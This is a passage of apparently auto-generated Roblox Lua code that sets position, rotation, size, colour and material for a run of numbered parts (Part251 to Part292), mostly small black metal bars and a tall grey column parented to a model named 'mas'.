- Part251.CFrame = CFrame.new(31.4071274, 21.2450485, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part251.Orientation = Vector3.new(0, -135, 0)
- Part251.Position = Vector3.new(31.4071274, 21.2450485, 25.4780731)
- Part251.Rotation = Vector3.new(-180, -45, -180)
- Part251.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part251.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part251.Anchored = true
- Part251.BottomSurface = Enum.SurfaceType.Smooth
- Part251.BrickColor = BrickColor.new("Black")
- Part251.Material = Enum.Material.Metal
- Part251.TopSurface = Enum.SurfaceType.Smooth
- Part251.brickColor = BrickColor.new("Black")
- Part252.Parent = mas
- Part252.CFrame = CFrame.new(31.4071274, 35.9450531, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part252.Orientation = Vector3.new(0, -135, 0)
- Part252.Position = Vector3.new(31.4071274, 35.9450531, 25.4780731)
- Part252.Rotation = Vector3.new(-180, -45, -180)
- Part252.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part252.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part252.Anchored = true
- Part252.BottomSurface = Enum.SurfaceType.Smooth
- Part252.BrickColor = BrickColor.new("Black")
- Part252.Material = Enum.Material.Metal
- Part252.TopSurface = Enum.SurfaceType.Smooth
- Part252.brickColor = BrickColor.new("Black")
- Part253.Parent = mas
- Part253.CFrame = CFrame.new(29.6922531, 44.3449974, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part253.Orientation = Vector3.new(0, -90, 0)
- Part253.Position = Vector3.new(29.6922531, 44.3449974, 25.0361633)
- Part253.Rotation = Vector3.new(0, -90, 0)
- Part253.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part253.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part253.Anchored = true
- Part253.BottomSurface = Enum.SurfaceType.Smooth
- Part253.BrickColor = BrickColor.new("Black")
- Part253.Material = Enum.Material.Metal
- Part253.TopSurface = Enum.SurfaceType.Smooth
- Part253.brickColor = BrickColor.new("Black")
- Part254.Parent = mas
- Part254.CFrame = CFrame.new(31.4071579, 38.0450668, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part254.Orientation = Vector3.new(0, 135, 0)
- Part254.Position = Vector3.new(31.4071579, 38.0450668, 28.3781281)
- Part254.Rotation = Vector3.new(-180, 45, -180)
- Part254.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part254.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part254.Anchored = true
- Part254.BottomSurface = Enum.SurfaceType.Smooth
- Part254.BrickColor = BrickColor.new("Black")
- Part254.Material = Enum.Material.Metal
- Part254.TopSurface = Enum.SurfaceType.Smooth
- Part254.brickColor = BrickColor.new("Black")
- Part255.Parent = mas
- Part255.CFrame = CFrame.new(31.4071579, 42.2450714, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part255.Orientation = Vector3.new(0, 135, 0)
- Part255.Position = Vector3.new(31.4071579, 42.2450714, 28.3781281)
- Part255.Rotation = Vector3.new(-180, 45, -180)
- Part255.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part255.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part255.Anchored = true
- Part255.BottomSurface = Enum.SurfaceType.Smooth
- Part255.BrickColor = BrickColor.new("Black")
- Part255.Material = Enum.Material.Metal
- Part255.TopSurface = Enum.SurfaceType.Smooth
- Part255.brickColor = BrickColor.new("Black")
- Part256.Parent = mas
- Part256.CFrame = CFrame.new(31.4071579, 44.3449974, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part256.Orientation = Vector3.new(0, 135, 0)
- Part256.Position = Vector3.new(31.4071579, 44.3449974, 28.3781281)
- Part256.Rotation = Vector3.new(-180, 45, -180)
- Part256.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part256.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part256.Anchored = true
- Part256.BottomSurface = Enum.SurfaceType.Smooth
- Part256.BrickColor = BrickColor.new("Black")
- Part256.Material = Enum.Material.Metal
- Part256.TopSurface = Enum.SurfaceType.Smooth
- Part256.brickColor = BrickColor.new("Black")
- Part257.Parent = mas
- Part257.CFrame = CFrame.new(31.4071274, 44.3449974, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part257.Orientation = Vector3.new(0, -135, 0)
- Part257.Position = Vector3.new(31.4071274, 44.3449974, 25.4780731)
- Part257.Rotation = Vector3.new(-180, -45, -180)
- Part257.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part257.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part257.Anchored = true
- Part257.BottomSurface = Enum.SurfaceType.Smooth
- Part257.BrickColor = BrickColor.new("Black")
- Part257.Material = Enum.Material.Metal
- Part257.TopSurface = Enum.SurfaceType.Smooth
- Part257.brickColor = BrickColor.new("Black")
- Part258.Parent = mas
- Part258.CFrame = CFrame.new(29.7422714, 42.2450714, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part258.Orientation = Vector3.new(0, -90, 0)
- Part258.Position = Vector3.new(29.7422714, 42.2450714, 28.8362427)
- Part258.Rotation = Vector3.new(0, -90, 0)
- Part258.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part258.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part258.Anchored = true
- Part258.BottomSurface = Enum.SurfaceType.Smooth
- Part258.BrickColor = BrickColor.new("Black")
- Part258.Material = Enum.Material.Metal
- Part258.TopSurface = Enum.SurfaceType.Smooth
- Part258.brickColor = BrickColor.new("Black")
- Part259.Parent = mas
- Part259.CFrame = CFrame.new(31.8423386, 40.1450691, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part259.Position = Vector3.new(31.8423386, 40.1450691, 26.9111938)
- Part259.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part259.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part259.Anchored = true
- Part259.BottomSurface = Enum.SurfaceType.Smooth
- Part259.BrickColor = BrickColor.new("Black")
- Part259.Material = Enum.Material.Metal
- Part259.TopSurface = Enum.SurfaceType.Smooth
- Part259.brickColor = BrickColor.new("Black")
- Part260.Parent = mas
- Part260.CFrame = CFrame.new(31.8423386, 42.2450714, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part260.Position = Vector3.new(31.8423386, 42.2450714, 26.9111938)
- Part260.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part260.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part260.Anchored = true
- Part260.BottomSurface = Enum.SurfaceType.Smooth
- Part260.BrickColor = BrickColor.new("Black")
- Part260.Material = Enum.Material.Metal
- Part260.TopSurface = Enum.SurfaceType.Smooth
- Part260.brickColor = BrickColor.new("Black")
- Part261.Parent = mas
- Part261.CFrame = CFrame.new(31.4071274, 46.4450111, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part261.Orientation = Vector3.new(0, -135, 0)
- Part261.Position = Vector3.new(31.4071274, 46.4450111, 25.4780731)
- Part261.Rotation = Vector3.new(-180, -45, -180)
- Part261.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part261.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part261.Anchored = true
- Part261.BottomSurface = Enum.SurfaceType.Smooth
- Part261.BrickColor = BrickColor.new("Black")
- Part261.Material = Enum.Material.Metal
- Part261.TopSurface = Enum.SurfaceType.Smooth
- Part261.brickColor = BrickColor.new("Black")
- Part262.Parent = mas
- Part262.CFrame = CFrame.new(29.6922531, 46.4450111, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part262.Orientation = Vector3.new(0, -90, 0)
- Part262.Position = Vector3.new(29.6922531, 46.4450111, 25.0361633)
- Part262.Rotation = Vector3.new(0, -90, 0)
- Part262.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part262.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part262.Anchored = true
- Part262.BottomSurface = Enum.SurfaceType.Smooth
- Part262.BrickColor = BrickColor.new("Black")
- Part262.Material = Enum.Material.Metal
- Part262.TopSurface = Enum.SurfaceType.Smooth
- Part262.brickColor = BrickColor.new("Black")
- Part263.Parent = mas
- Part263.CFrame = CFrame.new(29.7422714, 46.4450111, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part263.Orientation = Vector3.new(0, -90, 0)
- Part263.Position = Vector3.new(29.7422714, 46.4450111, 28.8362427)
- Part263.Rotation = Vector3.new(0, -90, 0)
- Part263.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part263.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part263.Anchored = true
- Part263.BottomSurface = Enum.SurfaceType.Smooth
- Part263.BrickColor = BrickColor.new("Black")
- Part263.Material = Enum.Material.Metal
- Part263.TopSurface = Enum.SurfaceType.Smooth
- Part263.brickColor = BrickColor.new("Black")
- Part264.Parent = mas
- Part264.CFrame = CFrame.new(29.7422714, 44.3449974, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part264.Orientation = Vector3.new(0, -90, 0)
- Part264.Position = Vector3.new(29.7422714, 44.3449974, 28.8362427)
- Part264.Rotation = Vector3.new(0, -90, 0)
- Part264.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part264.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part264.Anchored = true
- Part264.BottomSurface = Enum.SurfaceType.Smooth
- Part264.BrickColor = BrickColor.new("Black")
- Part264.Material = Enum.Material.Metal
- Part264.TopSurface = Enum.SurfaceType.Smooth
- Part264.brickColor = BrickColor.new("Black")
- Part265.Parent = mas
- Part265.CFrame = CFrame.new(29.6922531, 38.0450668, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part265.Orientation = Vector3.new(0, -90, 0)
- Part265.Position = Vector3.new(29.6922531, 38.0450668, 25.0361633)
- Part265.Rotation = Vector3.new(0, -90, 0)
- Part265.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part265.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part265.Anchored = true
- Part265.BottomSurface = Enum.SurfaceType.Smooth
- Part265.BrickColor = BrickColor.new("Black")
- Part265.Material = Enum.Material.Metal
- Part265.TopSurface = Enum.SurfaceType.Smooth
- Part265.brickColor = BrickColor.new("Black")
- Part266.Parent = mas
- Part266.CFrame = CFrame.new(31.8423386, 44.3449974, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part266.Position = Vector3.new(31.8423386, 44.3449974, 26.9111938)
- Part266.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part266.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part266.Anchored = true
- Part266.BottomSurface = Enum.SurfaceType.Smooth
- Part266.BrickColor = BrickColor.new("Black")
- Part266.Material = Enum.Material.Metal
- Part266.TopSurface = Enum.SurfaceType.Smooth
- Part266.brickColor = BrickColor.new("Black")
- Part267.Parent = mas
- Part267.CFrame = CFrame.new(27.5034714, 41.5199852, 26.9361801, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part267.Orientation = Vector3.new(0, -90, 0)
- Part267.Position = Vector3.new(27.5034714, 41.5199852, 26.9361801)
- Part267.Rotation = Vector3.new(0, -90, 0)
- Part267.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part267.Size = Vector3.new(3.8999989, 81.0000763, 1.89999962)
- Part267.Anchored = true
- Part267.BottomSurface = Enum.SurfaceType.Smooth
- Part267.BrickColor = BrickColor.new("Dark stone grey")
- Part267.Material = Enum.Material.Metal
- Part267.TopSurface = Enum.SurfaceType.Smooth
- Part267.brickColor = BrickColor.new("Dark stone grey")
- Part268.Parent = mas
- Part268.CFrame = CFrame.new(29.7422714, 84.2445755, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part268.Orientation = Vector3.new(0, -90, 0)
- Part268.Position = Vector3.new(29.7422714, 84.2445755, 28.8362427)
- Part268.Rotation = Vector3.new(0, -90, 0)
- Part268.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part268.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part268.Anchored = true
- Part268.BottomSurface = Enum.SurfaceType.Smooth
- Part268.BrickColor = BrickColor.new("Black")
- Part268.Material = Enum.Material.Metal
- Part268.TopSurface = Enum.SurfaceType.Smooth
- Part268.brickColor = BrickColor.new("Black")
- Part269.Parent = mas
- Part269.CFrame = CFrame.new(31.8423386, 46.4450111, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part269.Position = Vector3.new(31.8423386, 46.4450111, 26.9111938)
- Part269.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part269.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part269.Anchored = true
- Part269.BottomSurface = Enum.SurfaceType.Smooth
- Part269.BrickColor = BrickColor.new("Black")
- Part269.Material = Enum.Material.Metal
- Part269.TopSurface = Enum.SurfaceType.Smooth
- Part269.brickColor = BrickColor.new("Black")
- Part270.Parent = mas
- Part270.CFrame = CFrame.new(31.4071274, 84.2445755, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part270.Orientation = Vector3.new(0, -135, 0)
- Part270.Position = Vector3.new(31.4071274, 84.2445755, 25.4780731)
- Part270.Rotation = Vector3.new(-180, -45, -180)
- Part270.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part270.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part270.Anchored = true
- Part270.BottomSurface = Enum.SurfaceType.Smooth
- Part270.BrickColor = BrickColor.new("Black")
- Part270.Material = Enum.Material.Metal
- Part270.TopSurface = Enum.SurfaceType.Smooth
- Part270.brickColor = BrickColor.new("Black")
- Part271.Parent = mas
- Part271.CFrame = CFrame.new(31.4071579, 46.4450111, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part271.Orientation = Vector3.new(0, 135, 0)
- Part271.Position = Vector3.new(31.4071579, 46.4450111, 28.3781281)
- Part271.Rotation = Vector3.new(-180, 45, -180)
- Part271.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part271.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part271.Anchored = true
- Part271.BottomSurface = Enum.SurfaceType.Smooth
- Part271.BrickColor = BrickColor.new("Black")
- Part271.Material = Enum.Material.Metal
- Part271.TopSurface = Enum.SurfaceType.Smooth
- Part271.brickColor = BrickColor.new("Black")
- Part272.Parent = mas
- Part272.CFrame = CFrame.new(31.4071274, 38.0450668, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part272.Orientation = Vector3.new(0, -135, 0)
- Part272.Position = Vector3.new(31.4071274, 38.0450668, 25.4780731)
- Part272.Rotation = Vector3.new(-180, -45, -180)
- Part272.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part272.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part272.Anchored = true
- Part272.BottomSurface = Enum.SurfaceType.Smooth
- Part272.BrickColor = BrickColor.new("Black")
- Part272.Material = Enum.Material.Metal
- Part272.TopSurface = Enum.SurfaceType.Smooth
- Part272.brickColor = BrickColor.new("Black")
- Part273.Parent = mas
- Part273.CFrame = CFrame.new(29.7422714, 40.1450691, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part273.Orientation = Vector3.new(0, -90, 0)
- Part273.Position = Vector3.new(29.7422714, 40.1450691, 28.8362427)
- Part273.Rotation = Vector3.new(0, -90, 0)
- Part273.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part273.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part273.Anchored = true
- Part273.BottomSurface = Enum.SurfaceType.Smooth
- Part273.BrickColor = BrickColor.new("Black")
- Part273.Material = Enum.Material.Metal
- Part273.TopSurface = Enum.SurfaceType.Smooth
- Part273.brickColor = BrickColor.new("Black")
- Part274.Parent = mas
- Part274.CFrame = CFrame.new(31.4071579, 40.1450691, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part274.Orientation = Vector3.new(0, 135, 0)
- Part274.Position = Vector3.new(31.4071579, 40.1450691, 28.3781281)
- Part274.Rotation = Vector3.new(-180, 45, -180)
- Part274.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part274.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part274.Anchored = true
- Part274.BottomSurface = Enum.SurfaceType.Smooth
- Part274.BrickColor = BrickColor.new("Black")
- Part274.Material = Enum.Material.Metal
- Part274.TopSurface = Enum.SurfaceType.Smooth
- Part274.brickColor = BrickColor.new("Black")
- Part275.Parent = mas
- Part275.CFrame = CFrame.new(29.7422714, 25.4450455, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part275.Orientation = Vector3.new(0, -90, 0)
- Part275.Position = Vector3.new(29.7422714, 25.4450455, 28.8362427)
- Part275.Rotation = Vector3.new(0, -90, 0)
- Part275.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part275.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part275.Anchored = true
- Part275.BottomSurface = Enum.SurfaceType.Smooth
- Part275.BrickColor = BrickColor.new("Black")
- Part275.Material = Enum.Material.Metal
- Part275.TopSurface = Enum.SurfaceType.Smooth
- Part275.brickColor = BrickColor.new("Black")
- Part276.Parent = mas
- Part276.CFrame = CFrame.new(31.8423386, 31.7450485, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part276.Position = Vector3.new(31.8423386, 31.7450485, 26.9111938)
- Part276.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part276.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part276.Anchored = true
- Part276.BottomSurface = Enum.SurfaceType.Smooth
- Part276.BrickColor = BrickColor.new("Black")
- Part276.Material = Enum.Material.Metal
- Part276.TopSurface = Enum.SurfaceType.Smooth
- Part276.brickColor = BrickColor.new("Black")
- Part277.Parent = mas
- Part277.CFrame = CFrame.new(31.4071579, 29.645052, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part277.Orientation = Vector3.new(0, 135, 0)
- Part277.Position = Vector3.new(31.4071579, 29.645052, 28.3781281)
- Part277.Rotation = Vector3.new(-180, 45, -180)
- Part277.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part277.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part277.Anchored = true
- Part277.BottomSurface = Enum.SurfaceType.Smooth
- Part277.BrickColor = BrickColor.new("Black")
- Part277.Material = Enum.Material.Metal
- Part277.TopSurface = Enum.SurfaceType.Smooth
- Part277.brickColor = BrickColor.new("Black")
- Part278.Parent = mas
- Part278.CFrame = CFrame.new(31.4071579, 31.7450485, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part278.Orientation = Vector3.new(0, 135, 0)
- Part278.Position = Vector3.new(31.4071579, 31.7450485, 28.3781281)
- Part278.Rotation = Vector3.new(-180, 45, -180)
- Part278.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part278.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part278.Anchored = true
- Part278.BottomSurface = Enum.SurfaceType.Smooth
- Part278.BrickColor = BrickColor.new("Black")
- Part278.Material = Enum.Material.Metal
- Part278.TopSurface = Enum.SurfaceType.Smooth
- Part278.brickColor = BrickColor.new("Black")
- Part279.Parent = mas
- Part279.CFrame = CFrame.new(31.4071274, 82.1446075, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part279.Orientation = Vector3.new(0, -135, 0)
- Part279.Position = Vector3.new(31.4071274, 82.1446075, 25.4780731)
- Part279.Rotation = Vector3.new(-180, -45, -180)
- Part279.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part279.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part279.Anchored = true
- Part279.BottomSurface = Enum.SurfaceType.Smooth
- Part279.BrickColor = BrickColor.new("Black")
- Part279.Material = Enum.Material.Metal
- Part279.TopSurface = Enum.SurfaceType.Smooth
- Part279.brickColor = BrickColor.new("Black")
- Part280.Parent = mas
- Part280.CFrame = CFrame.new(29.6922531, 23.3450451, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part280.Orientation = Vector3.new(0, -90, 0)
- Part280.Position = Vector3.new(29.6922531, 23.3450451, 25.0361633)
- Part280.Rotation = Vector3.new(0, -90, 0)
- Part280.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part280.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part280.Anchored = true
- Part280.BottomSurface = Enum.SurfaceType.Smooth
- Part280.BrickColor = BrickColor.new("Black")
- Part280.Material = Enum.Material.Metal
- Part280.TopSurface = Enum.SurfaceType.Smooth
- Part280.brickColor = BrickColor.new("Black")
- Part281.Parent = mas
- Part281.CFrame = CFrame.new(31.4071274, 23.3450451, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part281.Orientation = Vector3.new(0, -135, 0)
- Part281.Position = Vector3.new(31.4071274, 23.3450451, 25.4780731)
- Part281.Rotation = Vector3.new(-180, -45, -180)
- Part281.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part281.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part281.Anchored = true
- Part281.BottomSurface = Enum.SurfaceType.Smooth
- Part281.BrickColor = BrickColor.new("Black")
- Part281.Material = Enum.Material.Metal
- Part281.TopSurface = Enum.SurfaceType.Smooth
- Part281.brickColor = BrickColor.new("Black")
- Part282.Parent = mas
- Part282.CFrame = CFrame.new(31.8423386, 25.4450455, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part282.Position = Vector3.new(31.8423386, 25.4450455, 26.9111938)
- Part282.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part282.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part282.Anchored = true
- Part282.BottomSurface = Enum.SurfaceType.Smooth
- Part282.BrickColor = BrickColor.new("Black")
- Part282.Material = Enum.Material.Metal
- Part282.TopSurface = Enum.SurfaceType.Smooth
- Part282.brickColor = BrickColor.new("Black")
- Part283.Parent = mas
- Part283.CFrame = CFrame.new(29.7422714, 33.8450432, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part283.Orientation = Vector3.new(0, -90, 0)
- Part283.Position = Vector3.new(29.7422714, 33.8450432, 28.8362427)
- Part283.Rotation = Vector3.new(0, -90, 0)
- Part283.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part283.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part283.Anchored = true
- Part283.BottomSurface = Enum.SurfaceType.Smooth
- Part283.BrickColor = BrickColor.new("Black")
- Part283.Material = Enum.Material.Metal
- Part283.TopSurface = Enum.SurfaceType.Smooth
- Part283.brickColor = BrickColor.new("Black")
- Part284.Parent = mas
- Part284.CFrame = CFrame.new(29.6922531, 27.5450459, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part284.Orientation = Vector3.new(0, -90, 0)
- Part284.Position = Vector3.new(29.6922531, 27.5450459, 25.0361633)
- Part284.Rotation = Vector3.new(0, -90, 0)
- Part284.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part284.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part284.Anchored = true
- Part284.BottomSurface = Enum.SurfaceType.Smooth
- Part284.BrickColor = BrickColor.new("Black")
- Part284.Material = Enum.Material.Metal
- Part284.TopSurface = Enum.SurfaceType.Smooth
- Part284.brickColor = BrickColor.new("Black")
- Part285.Parent = mas
- Part285.CFrame = CFrame.new(31.8423386, 82.1446075, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part285.Position = Vector3.new(31.8423386, 82.1446075, 26.9111938)
- Part285.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part285.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part285.Anchored = true
- Part285.BottomSurface = Enum.SurfaceType.Smooth
- Part285.BrickColor = BrickColor.new("Black")
- Part285.Material = Enum.Material.Metal
- Part285.TopSurface = Enum.SurfaceType.Smooth
- Part285.brickColor = BrickColor.new("Black")
- Part286.Parent = mas
- Part286.CFrame = CFrame.new(31.8423386, 23.3450451, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part286.Position = Vector3.new(31.8423386, 23.3450451, 26.9111938)
- Part286.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part286.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part286.Anchored = true
- Part286.BottomSurface = Enum.SurfaceType.Smooth
- Part286.BrickColor = BrickColor.new("Black")
- Part286.Material = Enum.Material.Metal
- Part286.TopSurface = Enum.SurfaceType.Smooth
- Part286.brickColor = BrickColor.new("Black")
- Part287.Parent = mas
- Part287.CFrame = CFrame.new(29.6922531, 25.4450455, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part287.Orientation = Vector3.new(0, -90, 0)
- Part287.Position = Vector3.new(29.6922531, 25.4450455, 25.0361633)
- Part287.Rotation = Vector3.new(0, -90, 0)
- Part287.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part287.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part287.Anchored = true
- Part287.BottomSurface = Enum.SurfaceType.Smooth
- Part287.BrickColor = BrickColor.new("Black")
- Part287.Material = Enum.Material.Metal
- Part287.TopSurface = Enum.SurfaceType.Smooth
- Part287.brickColor = BrickColor.new("Black")
- Part288.Parent = mas
- Part288.CFrame = CFrame.new(29.7422714, 31.7450485, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part288.Orientation = Vector3.new(0, -90, 0)
- Part288.Position = Vector3.new(29.7422714, 31.7450485, 28.8362427)
- Part288.Rotation = Vector3.new(0, -90, 0)
- Part288.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part288.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part288.Anchored = true
- Part288.BottomSurface = Enum.SurfaceType.Smooth
- Part288.BrickColor = BrickColor.new("Black")
- Part288.Material = Enum.Material.Metal
- Part288.TopSurface = Enum.SurfaceType.Smooth
- Part288.brickColor = BrickColor.new("Black")
- Part289.Parent = mas
- Part289.CFrame = CFrame.new(31.4071579, 33.8450432, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part289.Orientation = Vector3.new(0, 135, 0)
- Part289.Position = Vector3.new(31.4071579, 33.8450432, 28.3781281)
- Part289.Rotation = Vector3.new(-180, 45, -180)
- Part289.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part289.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part289.Anchored = true
- Part289.BottomSurface = Enum.SurfaceType.Smooth
- Part289.BrickColor = BrickColor.new("Black")
- Part289.Material = Enum.Material.Metal
- Part289.TopSurface = Enum.SurfaceType.Smooth
- Part289.brickColor = BrickColor.new("Black")
- Part290.Parent = mas
- Part290.CFrame = CFrame.new(31.4071274, 29.645052, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part290.Orientation = Vector3.new(0, -135, 0)
- Part290.Position = Vector3.new(31.4071274, 29.645052, 25.4780731)
- Part290.Rotation = Vector3.new(-180, -45, -180)
- Part290.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part290.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part290.Anchored = true
- Part290.BottomSurface = Enum.SurfaceType.Smooth
- Part290.BrickColor = BrickColor.new("Black")
- Part290.Material = Enum.Material.Metal
- Part290.TopSurface = Enum.SurfaceType.Smooth
- Part290.brickColor = BrickColor.new("Black")
- Part291.Parent = mas
- Part291.CFrame = CFrame.new(29.6922531, 82.1446075, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part291.Orientation = Vector3.new(0, -90, 0)
- Part291.Position = Vector3.new(29.6922531, 82.1446075, 25.0361633)
- Part291.Rotation = Vector3.new(0, -90, 0)
- Part291.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part291.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part291.Anchored = true
- Part291.BottomSurface = Enum.SurfaceType.Smooth
- Part291.BrickColor = BrickColor.new("Black")
- Part291.Material = Enum.Material.Metal
- Part291.TopSurface = Enum.SurfaceType.Smooth
- Part291.brickColor = BrickColor.new("Black")
- Part292.Parent = mas
- Part292.CFrame = CFrame.new(31.4071274, 31.7450485, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part292.Orientation = Vector3.new(0, -135, 0)
- Part292.Position = Vector3.new(31.4071274, 31.7450485, 25.4780731)
- Part292.Rotation = Vector3.new(-180, -45, -180)
